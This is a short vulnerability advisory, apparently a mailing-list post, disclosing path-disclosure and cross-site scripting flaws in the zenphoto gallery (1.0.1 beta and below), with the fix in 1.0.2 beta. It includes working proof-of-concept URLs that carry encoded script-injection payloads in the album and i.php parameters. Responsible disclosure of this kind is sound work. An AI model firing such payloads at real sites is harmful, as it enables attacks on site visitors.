Hi all, I've found several vulnerabilities in zenphoto, which is a great and simple photo gallery. I notified the team a month ago, and the new release (zenphoto 1.0.2 beta) fixes all the vulnerabilities. Thanks to the team for their great application and the fixes. http://zone14.free.fr/advisories/2/ Vendor: zenphoto Vulnerable: zenphoto 1.0.1 beta and below Path Disclosure http://www.example.com/photos/themes/default/ http://www.example.com/photos/themes/testing/ which returns: Fatal error: Call to undefined function: printgallerytitle() in /path/photos/themes/default/index.php on line 5 Cross Site Scripting and Path Disclosure http://www.example.com/photos/zen/i.php?a=%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E&i=1%2Ejpg&s=thumb Cross Site Scripting http://www.example.com/photos/index.php?album=%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E http://www.example.com/photos/index.php?album=EXISTING_ALBUM_NAMEℑ='%3E%3Cscript%3Ealert('XSS%20Vulnerable')%3B%3C/script%3E Solution Upgrade to zenphoto 1.0.2 beta.